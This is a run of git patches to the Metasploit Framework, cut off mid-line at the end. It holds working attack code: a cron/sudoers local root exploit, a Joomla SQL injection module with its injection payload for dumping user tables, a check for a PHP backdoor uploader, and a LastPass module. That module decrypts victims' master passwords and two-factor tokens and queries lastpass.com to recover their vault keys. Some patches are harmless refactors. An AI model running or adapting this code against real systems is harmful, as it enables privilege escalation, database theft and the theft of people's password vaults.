register_file_for_cleanup(payload_file) elsif payload.arch.include? ARCH_PYTHON vprint_status("No need to write payload. Will simply execute after exploit") vprint_status("Payload encodeded is #{payload.encoded}") @@ -80,10 +81,11 @@ class Metasploit4 < Msf::Exploit::Local # Execute payload print_status('Executing payload...') if payload.arch.include? ARCH_X86_64 - cmd_exec("sudo chmod +x #{payload_file}; sudo #{payload_file}") + cmd_exec("chmod +x #{payload_file}; #{payload_file} & disown") elsif payload.arch.include? ARCH_PYTHON - cmd_exec("sudo python -c \"#{payload.encoded}\"") + cmd_exec("python -c \"#{payload.encoded}\" & disown") end + vprint_status("Finished executing payload.") end def os_check @@ -105,10 +107,8 @@ class Metasploit4 < Msf::Exploit::Local end def sploit - user = cmd_exec("whoami").split(" ") - if user.length > 1 then user = user[1] end - - vprint_status("The current user is #{user}. start of sploit") + user = cmd_exec("whoami").chomp + vprint_status("The current effective user is #{user}. Starting the sploit") # Get size of sudoers file sudoer_path = "/etc/sudoers" size = get_stat_size(sudoer_path) @@ -134,23 +134,25 @@ class Metasploit4 < Msf::Exploit::Local # Wait for sudoers to change new_size = get_stat_size(sudoer_path) - vprint_status("Got sudoers size again") - counter = 0 - wait_time = datastore["WaitTime"] - print_status("Waiting for sudoers file to change..") - while new_size == size && counter < wait_time - Rex.sleep(1) - new_size = get_stat_size(sudoer_path) - counter += 1 - end + print_status("Waiting for sudoers file to change...") - if counter >= wait_time - fail_with(Failure::TimeoutExpired, "Sudoers file still has not changed after #{counter} seconds. Try increasing WaitTime.") + # Start timeout block + begin + Timeout.timeout(datastore['WaitTime']) { + while new_size <= size + Rex.sleep(1) + new_size = get_stat_size(sudoer_path) + end + } + rescue Timeout::Error + fail_with(Failure::TimeoutExpired, "Sudoers file size has still not changed after waiting the maximum amount of time. Try increasing WaitTime.") end print_good("Sudoers file has changed!") # Confirming root access - user = cmd_exec("sudo whoami") + print_status("Attempting to start root shell...") + cmd_exec("sudo -s su") + user = cmd_exec("whoami") unless user.include? "root" fail_with(Failure::UnexpectedReply, "Unable to acquire root access. Whoami returned: #{user}") end @@ -183,21 +185,31 @@ class Metasploit4 < Msf::Exploit::Local end def cleanup - # Include superclass cleanup + vprint_status("Starting the cron restore process...") super # Restore crontab back to is original state # If we don't do this, then cron will continue to append the no password rule to sudoers. if @crontab_original.nil? # Erase crontab file and kill cron process since it did not exist before - vprint_status("Removing crontab file since it did not exist prior to exploit. No need for it anymore.") - rm_f("/etc/crontab") + vprint_status("Killing cron process and removing crontab file since it did not exist prior to exploit.") + rm_ret = cmd_exec("rm /etc/crontab 2>/dev/null; echo $?") + if rm_ret.chomp.to_i == 0 + vprint_good("Successfully removed crontab file!") + else + print_warning("Could not remove crontab file.") + end Rex.sleep(1) - cmd_exec("sudo kill $(pgrep cron)") + kill_ret = cmd_exec("killall cron 2>/dev/null; echo $?") + if kill_ret.chomp.to_i == 0 + vprint_good("Succesfully killed cron!") + else + print_warning("Could not kill cron process.") + end else # Write back the original content of crontab vprint_status("Restoring crontab file back to original contents. No need for it anymore.") - write_file("/etc/crontab", @crontab_original) + cmd_exec("echo '#{@crontab_original}' > /etc/crontab") end + vprint_status("Finished the cleanup process.") end end - From 4f244c54f831ee7dd68eea437eded7320a530c95 Mon Sep 17 00:00:00 2001 From: JT Date: Mon, 26 Oct 2015 23:01:38 +0800 Subject: [PATCH 0980/2172] Update mma_backdoor_upload.rb --- modules/exploits/multi/http/mma_backdoor_upload.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/multi/http/mma_backdoor_upload.rb b/modules/exploits/multi/http/mma_backdoor_upload.rb index 881ff3428d..1268b9208f 100644 --- a/modules/exploits/multi/http/mma_backdoor_upload.rb +++ b/modules/exploits/multi/http/mma_backdoor_upload.rb @@ -45,7 +45,7 @@ class Metasploit3 < Msf::Exploit::Remote register_options( [ - OptString.new('TARGETURI',[true, "The path of the mma.php file uploader backdoor", "mma.php"]), + OptString.new('TARGETURI',[true, "The path of the mma.php file uploader backdoor", "/mma.php"]), ],self.class) # sometimes it is under host/images/mma.php so you may want to set this one end From 43eae0b97f96f073270e8b79899c6cf88abd55fa Mon Sep 17 00:00:00 2001 From: William Vu Date: Mon, 26 Oct 2015 12:15:45 -0500 Subject: [PATCH 0981/2172] Clean up Msf::Sessions::MainframeShell --- lib/msf/base/sessions/mainframe_shell.rb | 62 +++++++++++------------- 1 file changed, 28 insertions(+), 34 deletions(-) diff --git a/lib/msf/base/sessions/mainframe_shell.rb b/lib/msf/base/sessions/mainframe_shell.rb index ae28962198..ed1eca5865 100644 --- a/lib/msf/base/sessions/mainframe_shell.rb +++ b/lib/msf/base/sessions/mainframe_shell.rb @@ -1,8 +1,8 @@ # -*- coding: binary -*- + require 'msf/base/sessions/command_shell' -module Msf -module Sessions +module Msf::Sessions ### # @@ -15,7 +15,7 @@ module Sessions # Author: Bigendian Smalls # ### -class Msf::Sessions::MainframeShell < Msf::Sessions::CommandShell +class MainframeShell < Msf::Sessions::CommandShell # # This interface supports basic interaction. @@ -61,7 +61,6 @@ class Msf::Sessions::MainframeShell < Msf::Sessions::CommandShell framework.events.on_session_output(self, rv) if rv return rv rescue ::Rex::SocketError, ::EOFError, ::IOError, ::Errno::EPIPE => e - #print_error("Socket error: #{e.class}: #{e}") shell_close raise e end @@ -73,37 +72,36 @@ class Msf::Sessions::MainframeShell < Msf::Sessions::CommandShell # def shell_write(buf) #mfimpl - return if not buf + return unless buf begin framework.events.on_session_command(self, buf.strip) rstream.write(Rex::Text.to_ibm1047(buf)) rescue ::Rex::SocketError, ::EOFError, ::IOError, ::Errno::EPIPE => e - #print_error("Socket error: #{e.class}: #{e}") shell_close raise e end end - # def execute_file(full_path, args) #mfimpl raise NotImplementedError end - # def process_autoruns(datastore) # mf not implemented yet + raise NotImplementedError end - # def desc "Mainframe USS session" end + attr_accessor :translate_1047 # tells the session whether or not to translate # ebcdic (cp1047) <-> ASCII for certain mainframe payloads # this will be used in post modules to be able to switch on/off the # translation on file transfers, for instance + protected ## @@ -111,40 +109,37 @@ class Msf::Sessions::MainframeShell < Msf::Sessions::CommandShell # _interact_ring overridden to include decoding of cp1047 data # def _interact_ring - begin + rdr = framework.threads.spawn("RingMonitor", false) do + seq = nil - rdr = framework.threads.spawn("RingMonitor", false) do - seq = nil - while self.interacting + while self.interacting + # Look for any pending data from the remote ring + nseq,data = ring.read_data(seq) - # Look for any pending data from the remote ring - nseq,data = ring.read_data(seq) + # Update the sequence number if necessary + seq = nseq || seq - # Update the sequence number if necessary - seq = nseq || seq + # Write output to the local stream if successful + user_output.print(Rex::Text.from_ibm1047(data)) if data - # Write output to the local stream if successful - user_output.print(Rex::Text.from_ibm1047(data)) if data - - begin - # Wait for new data to arrive on this session - ring.wait(seq) + begin + # Wait for new data to arrive on this session + ring.wait(seq) rescue EOFError => e - #print_error("EOFError: #{e.class}: #{e}") - break + print_error("EOFError: #{e.class}: #{e}") + break + end end end - end - while self.interacting - # Look for any pending input or errors from the local stream - sd = Rex::ThreadSafe.select([ _local_fd ], nil, [_local_fd], 5.0) - - # Write input to the ring's input mechanism - shell_write(user_input.gets) if sd - end + while self.interacting + # Look for any pending input or errors from the local stream + sd = Rex::ThreadSafe.select([ _local_fd ], nil, [_local_fd], 5.0) + # Write input to the ring's input mechanism + shell_write(user_input.gets) if sd + end ensure rdr.kill end @@ -152,4 +147,3 @@ class Msf::Sessions::MainframeShell < Msf::Sessions::CommandShell end end -end From bbc1e43149989a5016c8fa780f27a78b9aae6c29 Mon Sep 17 00:00:00 2001 From: William Vu Date: Mon, 26 Oct 2015 14:45:21 -0500 Subject: [PATCH 0982/2172] Remove raise, since it broke things Need to pass through silently. --- lib/msf/base/sessions/mainframe_shell.rb | 1 - 1 file changed, 1 deletion(-) diff --git a/lib/msf/base/sessions/mainframe_shell.rb b/lib/msf/base/sessions/mainframe_shell.rb index ed1eca5865..87eb488d0d 100644 --- a/lib/msf/base/sessions/mainframe_shell.rb +++ b/lib/msf/base/sessions/mainframe_shell.rb @@ -90,7 +90,6 @@ class MainframeShell < Msf::Sessions::CommandShell def process_autoruns(datastore) # mf not implemented yet - raise NotImplementedError end def desc From 43dbdcea76482af5b70b9cb2affd11cc7854156a Mon Sep 17 00:00:00 2001 From: bigendian smalls Date: Mon, 26 Oct 2015 14:55:40 -0500 Subject: [PATCH 0983/2172] Removed process_autoruns from mainframe_shell Removed process_autoruns until we can write a fully compatible one or fully regression test the existing. Likely the former because of encoding issues --- lib/msf/base/sessions/mainframe_shell.rb | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/lib/msf/base/sessions/mainframe_shell.rb b/lib/msf/base/sessions/mainframe_shell.rb index 87eb488d0d..daf9c33cfc 100644 --- a/lib/msf/base/sessions/mainframe_shell.rb +++ b/lib/msf/base/sessions/mainframe_shell.rb @@ -88,9 +88,10 @@ class MainframeShell < Msf::Sessions::CommandShell raise NotImplementedError end - def process_autoruns(datastore) - # mf not implemented yet - end + # need to do more testing on this before we either use the default in command_shell + # or write a new one. For now we just make it unavailble. This prevents a hang on + # initial session creation. See PR#6067 + undef_method :process_autoruns def desc "Mainframe USS session" From 0d9ebe13a1cb06b33cadf8779be21d5dc7f38180 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Mon, 26 Oct 2015 15:25:38 -0500 Subject: [PATCH 0984/2172] Modify check --- .../exploits/multi/http/mma_backdoor_upload.rb | 17 ++++++++++++++--- 1 file changed, 14 insertions(+), 3 deletions(-) diff --git a/modules/exploits/multi/http/mma_backdoor_upload.rb b/modules/exploits/multi/http/mma_backdoor_upload.rb index 1268b9208f..75c7502c84 100644 --- a/modules/exploits/multi/http/mma_backdoor_upload.rb +++ b/modules/exploits/multi/http/mma_backdoor_upload.rb @@ -4,6 +4,7 @@ ## require 'msf/core' +require 'nokogiri' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking @@ -49,6 +50,10 @@ class Metasploit3 < Msf::Exploit::Remote ],self.class) # sometimes it is under host/images/mma.php so you may want to set this one end + def has_input_name?(nodes, name) + nodes.select { |e| e.attributes['name'].value == name }.empty? ? false : true + end + def check uri = normalize_uri(target_uri.path) res = send_request_cgi({ @@ -56,10 +61,16 @@ class Metasploit3 < Msf::Exploit::Remote 'uri' => uri }) - if res && res.body =~ /_upl/ - return Exploit::CheckCode::Appears + if res + n = ::Nokogiri::HTML(res.body) + form = n.at('form[@id="uploader"]') + inputs = form.search('input') + if has_input_name?(inputs, 'file') && has_input_name?(inputs, '_upl') + return Exploit::CheckCode::Appears + end end - return Exploit::CheckCode::Safe + + Exploit::CheckCode::Safe end def exploit From b2e3ce1f8a1acb02f411a086ae34f0e8df654251 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Mon, 26 Oct 2015 16:40:29 -0500 Subject: [PATCH 0985/2172] Allow to finish when deletion fails --- modules/exploits/windows/smb/psexec.rb | 12 ++++++++++-- 1 file changed, 10 insertions(+), 2 deletions(-) diff --git a/modules/exploits/windows/smb/psexec.rb b/modules/exploits/windows/smb/psexec.rb index f99288beef..350f0d858a 100644 --- a/modules/exploits/windows/smb/psexec.rb +++ b/modules/exploits/windows/smb/psexec.rb @@ -231,10 +231,18 @@ class Metasploit3 < Msf::Exploit::Remote #This is not really useful but will prevent double \\ on the wire :) if datastore['SHARE'] =~ /.[\\\/]/ simple.connect("\\\\#{datastore['RHOST']}\\#{smbshare}") - simple.delete("\\#{fileprefix}\\#{filename}") + begin + simple.delete("\\#{fileprefix}\\#{filename}") + rescue XCEPT::ErrorCode => e + print_error("Delete of \\#{fileprefix}\\#{filename} failed: #{e.message}") + end else simple.connect("\\\\#{datastore['RHOST']}\\#{smbshare}") - simple.delete("\\#{filename}") + begin + simple.delete("\\#{filename}") + rescue XCEPT::ErrorCode => e + print_error("Delete of \\#{filename} failed: #{e.message}") + end end end end From c7fe0148542b63d52f5f5708665072fbd25535ed Mon Sep 17 00:00:00 2001 From: Brandon Perry Date: Mon, 26 Oct 2015 17:13:51 -0500 Subject: [PATCH 0986/2172] remove global variables --- .../gather/joomla_contenthistory_sqli.rb | 46 +++++++++---------- 1 file changed, 23 insertions(+), 23 deletions(-) diff --git a/modules/auxiliary/gather/joomla_contenthistory_sqli.rb b/modules/auxiliary/gather/joomla_contenthistory_sqli.rb index e3b8445f68..000eb99f2a 100644 --- a/modules/auxiliary/gather/joomla_contenthistory_sqli.rb +++ b/modules/auxiliary/gather/joomla_contenthistory_sqli.rb @@ -60,29 +60,29 @@ class Metasploit4 < Msf::Auxiliary end - def request(query) - query = "#{$payload}" % query + def request(query, payload, lmark, rmark) + query = "#{payload}" % query res = sqli(query) # Error based SQL Injection - if res && res.code == 500 && res.body =~ /#{$lmark}(.*)#{$rmark}/ + if res && res.code == 500 && res.body =~ /#{lmark}(.*)#{rmark}/ $1 end end - def query_databases + def query_databases(payload, lmark, rmark) dbs = [] query = '(SELECT IFNULL(CAST(COUNT(schema_name) AS CHAR),0x20) ' query << 'FROM INFORMATION_SCHEMA.SCHEMATA)' - dbc = request(query) + dbc = request(query, payload, lmark, rmark) query_fmt = '(SELECT MID((IFNULL(CAST(schema_name AS CHAR),0x20)),1,54) ' query_fmt << 'FROM INFORMATION_SCHEMA.SCHEMATA LIMIT %d,1)' 0.upto(dbc.to_i - 1) do |i| - dbname = request(query_fmt % i) + dbname = request(query_fmt % i, payload, lmark, rmark) dbs << dbname vprint_good(dbname) end @@ -93,14 +93,14 @@ class Metasploit4 < Msf::Auxiliary dbs end - def query_tables(database) + def query_tables(database, payload, lmark, rmark) tbs = [] query = '(SELECT IFNULL(CAST(COUNT(table_name) AS CHAR),0x20) ' query << 'FROM INFORMATION_SCHEMA.TABLES ' query << "WHERE table_schema IN (0x#{database.unpack('H*')[0]}))" - tbc = request(query) + tbc = request(query, payload, lmark, rmark) query_fmt = '(SELECT MID((IFNULL(CAST(table_name AS CHAR),0x20)),1,54) ' query_fmt << 'FROM INFORMATION_SCHEMA.TABLES ' @@ -109,18 +109,18 @@ class Metasploit4 < Msf::Auxiliary vprint_status('tables in database: %s' % database) 0.upto(tbc.to_i - 1) do |i| - tbname = request(query_fmt % i) + tbname = request(query_fmt % i, payload, lmark, rmark) vprint_good(tbname) tbs << tbname if tbname =~ /_users$/ end tbs end - def query_columns(database, table) + def query_columns(database, table, payload, lmark, rmark) cols = [] query = "(SELECT IFNULL(CAST(COUNT(*) AS CHAR),0x20) FROM #{database}.#{table})" - colc = request(query) + colc = request(query, payload, lmark, rmark) vprint_status(colc) valid_cols = [ # joomla_users @@ -151,7 +151,7 @@ class Metasploit4 < Msf::Auxiliary l = 1 record[col] = '' loop do - value = request(query_fmt % [col, l, i]) + value = request(query_fmt % [col, l, i], payload, lmark, rmark) break if value.blank? record[col] << value l += 54 @@ -164,21 +164,21 @@ class Metasploit4 < Msf::Auxiliary end def run - $lmark = Rex::Text.rand_text_alpha(5) - $rmark = Rex::Text.rand_text_alpha(5) + lmark = Rex::Text.rand_text_alpha(5) + rmark = Rex::Text.rand_text_alpha(5) - $payload = 'AND (SELECT 6062 FROM(SELECT COUNT(*),CONCAT(' - $payload << "0x#{$lmark.unpack('H*')[0]}," - $payload << '%s,' - $payload << "0x#{$rmark.unpack('H*')[0]}," - $payload << 'FLOOR(RAND(0)*2)' - $payload << ')x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)' + payload = 'AND (SELECT 6062 FROM(SELECT COUNT(*),CONCAT(' + payload << "0x#{lmark.unpack('H*')[0]}," + payload << '%s,' + payload << "0x#{rmark.unpack('H*')[0]}," + payload << 'FLOOR(RAND(0)*2)' + payload << ')x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)' - dbs = query_databases + dbs = query_databases(payload, lmark, rmark) dbs.each do |db| - tables = query_tables(db) + tables = query_tables(db, payload, lmark, rmark) tables.each do |table| - cols = query_columns(db, table) + cols = query_columns(db, table, payload, lmark, rmark) next if cols.blank? path = store_loot( 'joomla.users', From da9420a9159dd831f119aff98afcc6121c592db5 Mon Sep 17 00:00:00 2001 From: Martin Vigo Date: Mon, 26 Oct 2015 19:17:09 -0700 Subject: [PATCH 0987/2172] Retrieve randkey from LastPass --- modules/post/multi/gather/lastpass_creds.rb | 184 +++++++++----------- 1 file changed, 87 insertions(+), 97 deletions(-) diff --git a/modules/post/multi/gather/lastpass_creds.rb b/modules/post/multi/gather/lastpass_creds.rb index f0d74e40b0..41b1b6812a 100644 --- a/modules/post/multi/gather/lastpass_creds.rb +++ b/modules/post/multi/gather/lastpass_creds.rb @@ -29,6 +29,7 @@ class Metasploit3 < Msf::Post end def run + if session.platform =~ /win/ && session.type == "shell" # No Windows shell support print_error "Shell sessions on Windows are not supported" return @@ -49,7 +50,7 @@ class Metasploit3 < Msf::Post extract_2fa_tokens(account_map) print_status "Extracting encryption keys" - extract_keys(account_map) + extract_vault_keys(account_map) print_status "Extracting vault and iterations" extract_vault_and_iterations(account_map) @@ -253,35 +254,29 @@ class Metasploit3 < Msf::Post credentials end - # Decrypts the password - def clear_text_password(email, encrypted_data) + + def decrypt_data(key, encrypted_data) return if encrypted_data.blank? - decrypted_password = "DECRYPTION_ERROR" - - sha256_hex_email = OpenSSL::Digest::SHA256.hexdigest(email) - sha256_binary_email = [sha256_hex_email].pack "H*" # Do hex2bin + decrypted_data = "DECRYPTION_ERROR" if encrypted_data.include?("|") # Use CBC decipher = OpenSSL::Cipher.new("AES-256-CBC") - decipher.decrypt - decipher.key = sha256_binary_email # The key is the emails hashed to SHA256 and converted to binary decipher.iv = Base64.decode64(encrypted_data[1, 24]) # Discard ! and | - encrypted_password = encrypted_data[26..-1] + encrypted_data = encrypted_data[26..-1] #Take only the data part else # Use ECB decipher = OpenSSL::Cipher.new("AES-256-ECB") - decipher.decrypt - decipher.key = sha256_binary_email - encrypted_password = encrypted_data end begin - decrypted_password = decipher.update(Base64.decode64(encrypted_password)) + decipher.final + decipher.decrypt + decipher.key = key + decrypted_data = decipher.update(Base64.decode64(encrypted_data)) + decipher.final rescue - vprint_error "Password for #{email} could not be decrypted" + vprint_error "Data could not be decrypted" end - decrypted_password + decrypted_data end def extract_credentials(account_map) @@ -304,11 +299,15 @@ class Metasploit3 < Msf::Post ffcreds = firefox_credentials(loot_path) unless ffcreds.blank? ffcreds.each do |creds| - creds[1].blank? ? creds[1] = "NOT_FOUND" : creds[1] = clear_text_password(URI.unescape(creds[0]), URI.unescape(creds[1])) #Decrypt credentials - credentials[account][browser][URI.unescape(creds[0])] = [URI.unescape(creds[1])] + if creds[1].blank? + creds[1] = "NOT_FOUND" + else + sha256_hex_email = OpenSSL::Digest::SHA256.hexdigest(URI.unescape(creds[0])) + sha256_binary_email = [sha256_hex_email].pack "H*" # Do hex2bin + creds[1] = decrypt_data(sha256_binary_email, URI.unescape(creds[1])) + account_map[account][browser]['lp_creds'][creds[0]] = {'lp_password' => creds[1]} + end end - else - credentials[account].delete("Firefox") end end @@ -334,8 +333,14 @@ class Metasploit3 < Msf::Post for row in result if row[0] - row[1].blank? ? row[1] = "NOT_FOUND" : row[1] = clear_text_password(row[0], row[1]) #Decrypt credentials - account_map[account][browser]['lp_creds'][row[0]] = {'lp_password' => row[1]} + if row[1].blank? + row[1] = "NOT_FOUND" + else + sha256_hex_email = OpenSSL::Digest::SHA256.hexdigest(row[0]) + sha256_binary_email = [sha256_hex_email].pack "H*" # Do hex2bin + row[1] = decrypt_data(sha256_binary_email, row[1]) + account_map[account][browser]['lp_creds'][row[0]] = {'lp_password' => row[1]} + end end end end @@ -473,118 +478,103 @@ class Metasploit3 < Msf::Post end - - - def extract_keys(account_map) + def extract_vault_keys(account_map) account_map.each_pair do |account, browser_map| browser_map.each_pair do |browser, lp_data| lp_data['lp_creds'].each_pair do |username, user_data| - otp, encrypted_key = extract_otp_and_encrypted_key(account, browser, username, lp_data['lp_db_loot']) - #otp_token = OpenSSL::Digest::SHA256.hexdigest( OpenSSL::Digest::SHA256.hexdigest( username + otp ) + otp ) - otp = "7b88275911a8efc3efe50a3bda6ac202" - otpbin = [otp].pack "H*" - otp_token = lastpass_sha256( lastpass_sha256( username + otpbin ) + otpbin ) - lp_data['lp_creds'][username]['vault_key'] = decrypt_vault_key(username, otp_token, encrypted_key) - - + otp = extract_otp(account, browser, username, lp_data['lp_db_loot']) + lp_data['lp_creds'][username]['vault_key'] = decrypt_vault_key_with_otp(username, otp) end end end end - # Returns otp, encrypted_key - def extract_otp_and_encrypted_key(account, browser, username, path) + def extract_otp(account, browser, username, path) if browser == 'Firefox' path = firefox_map[account][browser] + client.fs.file.separator + OpenSSL::Digest::SHA256.hexdigest(username) + "_ff.sotp" otp = read_file(path) if client.fs.file.exists?(path) #Read file if it exists otp = "NOT FOUND" if otp.blank? # Verify content - - path = firefox_map[account][browser] + client.fs.file.separator + OpenSSL::Digest::SHA256.hexdigest(username) + "_lpall.slps" - encrypted_key = read_file(path) if client.fs.file.exists?(path) #Read file if it exists - encrypted_key = "NOT FOUND" if encrypted_key.blank? # Verify content - data = encrypted_key.split("\r")[0] - return [otp, encrypted_key] + return otp else # Chrome, Safari and Opera db = SQLite3::Database.new(path) result = db.execute( "SELECT type, data FROM LastPassData " \ - "WHERE username_hash = '"+OpenSSL::Digest::SHA256.hexdigest(username)+"' AND type IN ('otp', 'key')" + "WHERE username_hash = '"+OpenSSL::Digest::SHA256.hexdigest(username)+"' AND type = 'otp'" ) - - if result.size == 2 - if result[0][0] == "otp" - return result[0][1], result[1][1] - else - return result[1][1], result[0][1] - end - end - - return "", "" + return result[0][1] end end - def decrypt_vault_key(username, token, encrypted_key) - return "adecryptionkey" - + def make_vault_key_from_creds username, password, key_iteration_count + if key_iteration_count == 1 + key = Digest::SHA256.hexdigest username + password + else + key = pbkdf2(password, username, key_iteration_count, 32) + end + + return key end + def decrypt_vault_key_with_otp username, otp + otpbin = [otp].pack "H*" + vault_key_decryption_key = [lastpass_sha256(username + otpbin)].pack "H*" + encrypted_vault_key = retrieve_encrypted_vault_key_with_otp(username, otp) + return decrypt_data(vault_key_decryption_key, encrypted_vault_key) + end + + def retrieve_encrypted_vault_key_with_otp username, otp + # Derive login hash from otp + otpbin = [otp].pack "H*" + otp_token = lastpass_sha256( lastpass_sha256( username + otpbin ) + otpbin ) # OTP login hash + + # Make request to LastPass + uri = URI('https://lastpass.com/otp.php') + request = Net::HTTP::Post.new(uri) + request.set_form_data("login" => 1, "xml" => 1, "hash" => otp_token, "otpemail" => URI.escape(username), "outofbandsupported" => 1, "changepw" => otp_token) + request.content_type = 'application/x-www-form-urlencoded; charset=UTF-8' + response = Net::HTTP.start(uri.hostname, uri.port, :use_ssl => true) {|http| + http.request(request) + } + + # Parse response + encrypted_vault_key = nil + if response.body.match(/randkey\="(.*)"/) + encrypted_vault_key = response.body.match(/randkey\="(.*)"/)[1] + end + + return encrypted_vault_key + end # LastPass does some preprocessing (UTF8) when doing a SHA256 on special chars (binary) def lastpass_sha256(input) output = "" - input.split("").each do |char| - digit = char.ord - if (digit <= 128) - output += digit.chr + input = input.gsub("\r\n", "\n") + + input.each_byte do |e| + if 128 > e + output += e.chr else - output += (digit >> 6 | 192).chr - output += (digit >> 6 & 63 | 128).chr - output += (digit & 63 | 128).chr + if (127 < e && 2048 > e) + output += (e >> 6 | 192).chr + output += (e & 63 | 128).chr + else + output += (e >> 12 | 224).chr + output += (e >> 6 & 63 | 128).chr + end end end - #Nasty hack to switch Windows /r/n for /n - output = output.delete 130.chr+131.chr - output << 130.chr - return OpenSSL::Digest::SHA256.hexdigest(output) end - def lastpass_sha256_test(input) - input = "7b88275911a8efc3efe50a3bda6ac202" - input = [input].pack "H*" - output = "" - #inputbin = [input].pack "H*" - puts input - input.split("").each do |char| - digit = char.ord - if (digit <= 128) - output += digit.chr - else - output += (digit >> 6 | 192).chr - output += (digit >> 6 & 63 | 128).chr - output += (digit & 63 | 128).chr - end - - end - - input.split("").each do |char| - puts char.ord - end - puts OpenSSL::Digest::SHA256.hexdigest(output) - #return - - #Nasty hack to switch Windows /r/n for /n - #output = output.delete 130.chr+131.chr - #output << 130.chr - - return OpenSSL::Digest::SHA256.hexdigest(output) - end - + def pbkdf2(password, salt, iterations, key_length) + digest = OpenSSL::Digest::SHA256.new + return OpenSSL::PKCS5.pbkdf2_hmac(password, salt, iterations, key_length, digest).unpack 'H*' + end end From e0801b39ba2cc223e72e7497668a48a0687d2b58 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Mon, 26 Oct 2015 23:12:01 -0500 Subject: [PATCH 0988/2172] Fix undef method has_key for module_references.rb tool I made a typo. Should be has_key?, not has_key --- tools/modules/module_reference.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/tools/modules/module_reference.rb b/tools/modules/module_reference.rb index 0f106cc63b..8406d052ce 100755 --- a/tools/modules/module_reference.rb +++ b/tools/modules/module_reference.rb @@ -89,7 +89,7 @@ opts.parse(ARGV) { |opt, idx, val| filter = val when "-t" val = (val || '').upcase - unless types.has_key(val) + unless types.has_key?(val) puts "Invalid Type Supplied: #{val}" puts "Please use one of these: #{types.keys.inspect}" exit From e67065a7e91b4ac694f76cf6a34bebb3dd7e04fb Mon Sep 17 00:00:00 2001 From: Martin Vigo Date: Mon, 26 Oct 2015 22:40:47 -0700 Subject: [PATCH 0989/2172] Fix Firefox/Opera bugs --- modules/post/multi/gather/lastpass_creds.rb | 131 +++++++++++--------- 1 file changed, 74 insertions(+), 57 deletions(-) diff --git a/modules/post/multi/gather/lastpass_creds.rb b/modules/post/multi/gather/lastpass_creds.rb index 41b1b6812a..2601e09767 100644 --- a/modules/post/multi/gather/lastpass_creds.rb +++ b/modules/post/multi/gather/lastpass_creds.rb @@ -14,7 +14,7 @@ class Metasploit3 < Msf::Post update_info( info, 'Name' => 'LastPass Master Password Extractor', - 'Description' => 'This module extracts and decrypts LastPass master login accounts and passwords', + 'Description' => 'This module extracts and decrypts LastPass master login accounts and passwords, encryption keys, 2FA tokens and all the vault passwords', 'License' => MSF_LICENSE, 'Author' => [ 'Alberto Garcia Illera ', # original module and research @@ -49,12 +49,12 @@ class Metasploit3 < Msf::Post print_status "Extracting 2FA tokens" extract_2fa_tokens(account_map) - print_status "Extracting encryption keys" - extract_vault_keys(account_map) - print_status "Extracting vault and iterations" extract_vault_and_iterations(account_map) + print_status "Extracting encryption keys" + extract_vault_keys(account_map) + print_lastpass_data(account_map) end @@ -80,7 +80,7 @@ class Metasploit3 < Msf::Post } localstorage_path_map = { 'Chrome' => "#{user_profile['LocalAppData']}\\Google\\Chrome\\User Data\\Default\\Local Storage\\chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0.localstorage", - 'Firefox' => "#{user_profile['LocalAppData']}\\LastPass", + 'Firefox' => "#{user_profile['LocalAppData']}Low\\LastPass", 'Opera' => "#{user_profile['AppData']}\\Opera Software\\Opera Stable\\Local Storage\\chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0.localstorage", 'Safari' => "#{user_profile['LocalAppData']}\\Apple Computer\\Safari\\LocalStorage\\safari-extension_com.lastpass.lpsafariextension-n24rep3bmn_0.localstorage" } @@ -238,7 +238,7 @@ class Metasploit3 < Msf::Post creds_per_user = encoded_creds.split("|") creds_per_user.each do |user_creds| parts = user_creds.split('=') - for creds in credentials # Check if we have the username already + for creds in credentials # Check iuf we have the username already if creds[0] == parts[0] creds[1] = parts[1] # Add the password to the existing username else @@ -256,9 +256,7 @@ class Metasploit3 < Msf::Post def decrypt_data(key, encrypted_data) - return if encrypted_data.blank? - - decrypted_data = "DECRYPTION_ERROR" + return nil if encrypted_data.blank? if encrypted_data.include?("|") # Use CBC decipher = OpenSSL::Cipher.new("AES-256-CBC") @@ -300,12 +298,12 @@ class Metasploit3 < Msf::Post unless ffcreds.blank? ffcreds.each do |creds| if creds[1].blank? - creds[1] = "NOT_FOUND" + creds[1] = nil # No master password found else sha256_hex_email = OpenSSL::Digest::SHA256.hexdigest(URI.unescape(creds[0])) sha256_binary_email = [sha256_hex_email].pack "H*" # Do hex2bin creds[1] = decrypt_data(sha256_binary_email, URI.unescape(creds[1])) - account_map[account][browser]['lp_creds'][creds[0]] = {'lp_password' => creds[1]} + account_map[account][browser]['lp_creds'][URI.unescape(creds[0])] = {'lp_password' => creds[1]} end end end @@ -333,14 +331,10 @@ class Metasploit3 < Msf::Post for row in result if row[0] - if row[1].blank? - row[1] = "NOT_FOUND" - else - sha256_hex_email = OpenSSL::Digest::SHA256.hexdigest(row[0]) - sha256_binary_email = [sha256_hex_email].pack "H*" # Do hex2bin - row[1] = decrypt_data(sha256_binary_email, row[1]) - account_map[account][browser]['lp_creds'][row[0]] = {'lp_password' => row[1]} - end + sha256_hex_email = OpenSSL::Digest::SHA256.hexdigest(row[0]) + sha256_binary_email = [sha256_hex_email].pack "H*" # Do hex2bin + row[1].blank? ? row[1] = nil : row[1] = decrypt_data(sha256_binary_email, row[1]) # Decrypt master password + account_map[account][browser]['lp_creds'][row[0]] = {'lp_password' => row[1]} end end end @@ -355,22 +349,18 @@ class Metasploit3 < Msf::Post account_map.each_pair do |account, browser_map| browser_map.each_pair do |browser, lp_data| if browser == 'Firefox' - lastpass_data[account][browser].each_pair do |username, user_data| - path = path + client.fs.file.separator + "lp.suid" - data = read_file(path) if client.fs.file.exists?(path) #Read file if it exists - data = "DECRYPTION_ERROR" if (data.blank? || data.size != 32) # Verify content - loot_path = store_loot( - 'firefox.preferences', - 'text/binary', - session, - data, - nil, - "Firefox 2FA token file #{path}" - ) - lastpass_data[account][browser][username] << data - - end - + path = lp_data['localstorage_db'] + client.fs.file.separator + "lp.suid" + data = read_file(path) if 